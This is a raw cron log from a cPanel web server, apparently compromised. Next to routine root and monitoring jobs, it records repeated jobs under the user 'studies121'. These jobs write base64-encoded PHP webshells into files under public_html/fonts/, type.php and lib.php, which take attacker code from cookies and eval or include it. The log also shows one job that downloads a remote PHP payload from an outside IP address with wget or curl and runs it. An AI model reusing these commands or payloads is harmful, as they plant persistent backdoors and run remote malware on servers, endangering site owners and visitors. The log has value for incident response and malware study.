Sep  1 09:25:01 ip-184-168-122-23 CROND[28235]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:25:01 ip-184-168-122-23 CROND[28234]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:25:01 ip-184-168-122-23 CROND[28236]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 09:25:01 ip-184-168-122-23 CROND[28239]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 09:25:01 ip-184-168-122-23 CROND[28237]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:26:01 ip-184-168-122-23 CROND[28691]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 09:26:01 ip-184-168-122-23 CROND[28693]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:26:01 ip-184-168-122-23 CROND[28695]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:26:01 ip-184-168-122-23 CROND[28694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:26:01 ip-184-168-122-23 CROND[28696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:27:01 ip-184-168-122-23 CROND[28861]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:27:01 ip-184-168-122-23 CROND[28862]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:27:01 ip-184-168-122-23 CROND[28865]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:27:01 ip-184-168-122-23 CROND[28866]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:28:01 ip-184-168-122-23 CROND[28995]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:28:01 ip-184-168-122-23 CROND[28999]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:28:01 ip-184-168-122-23 CROND[29000]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:28:01 ip-184-168-122-23 CROND[28998]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 09:28:01 ip-184-168-122-23 CROND[28997]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:29:01 ip-184-168-122-23 CROND[29126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:29:01 ip-184-168-122-23 CROND[29127]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:29:01 ip-184-168-122-23 CROND[29130]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:29:01 ip-184-168-122-23 CROND[29131]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:30:01 ip-184-168-122-23 CROND[29271]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 09:30:01 ip-184-168-122-23 CROND[29272]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:30:01 ip-184-168-122-23 CROND[29273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:30:01 ip-184-168-122-23 CROND[29278]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 09:30:01 ip-184-168-122-23 CROND[29275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:30:01 ip-184-168-122-23 CROND[29280]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 09:30:01 ip-184-168-122-23 CROND[29276]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:30:01 ip-184-168-122-23 CROND[29283]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 09:31:01 ip-184-168-122-23 CROND[29406]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:31:01 ip-184-168-122-23 CROND[29408]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:31:01 ip-184-168-122-23 CROND[29410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:31:01 ip-184-168-122-23 CROND[29411]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 09:31:01 ip-184-168-122-23 CROND[29413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:32:01 ip-184-168-122-23 CROND[29626]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:32:01 ip-184-168-122-23 CROND[29627]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 09:32:01 ip-184-168-122-23 CROND[29628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:32:01 ip-184-168-122-23 CROND[29629]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:32:01 ip-184-168-122-23 CROND[29630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:33:01 ip-184-168-122-23 CROND[29740]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:33:01 ip-184-168-122-23 CROND[29742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:33:01 ip-184-168-122-23 CROND[29743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:33:01 ip-184-168-122-23 CROND[29744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:34:02 ip-184-168-122-23 CROND[29871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:34:02 ip-184-168-122-23 CROND[29869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:34:02 ip-184-168-122-23 CROND[29870]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 09:34:02 ip-184-168-122-23 CROND[29872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:34:02 ip-184-168-122-23 CROND[29873]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:35:01 ip-184-168-122-23 CROND[29981]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:35:01 ip-184-168-122-23 CROND[29984]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 09:35:01 ip-184-168-122-23 CROND[29987]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 09:35:01 ip-184-168-122-23 CROND[29988]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:35:01 ip-184-168-122-23 CROND[29986]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 09:35:01 ip-184-168-122-23 CROND[29990]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:35:01 ip-184-168-122-23 CROND[29991]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  1 09:35:01 ip-184-168-122-23 CROND[29989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:36:01 ip-184-168-122-23 CROND[30134]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:36:01 ip-184-168-122-23 CROND[30136]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:36:01 ip-184-168-122-23 CROND[30138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:36:01 ip-184-168-122-23 CROND[30139]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 09:36:01 ip-184-168-122-23 CROND[30137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:37:01 ip-184-168-122-23 CROND[30255]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
